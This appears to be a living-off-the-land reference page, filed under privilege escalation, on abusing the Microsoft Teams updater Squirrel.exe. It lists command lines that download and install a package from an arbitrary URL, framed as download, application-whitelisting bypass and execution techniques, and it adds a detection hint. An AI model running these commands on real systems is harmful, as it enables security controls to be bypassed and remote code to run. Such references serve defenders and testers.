~/Privilege Escalation/Windows/Binaries# cat Squirrel.exe.md █
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Paths:
%localappdata%\Microsoft\Teams\current\Squirrel.exe
Detection: Update.exe spawned an unknown process
Download
The above binary will go to url and look for RELEASES file and download the nuget package.
squirrel.exe --download [url to package]
AWL bypass
The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --update [url to package]
The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --updateRoolback=[url to package]
Execute
The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --update [url to package]
The above binary will go to url and look for RELEASES file, download and install the nuget package.
squirrel.exe --updateRollback=[url to package]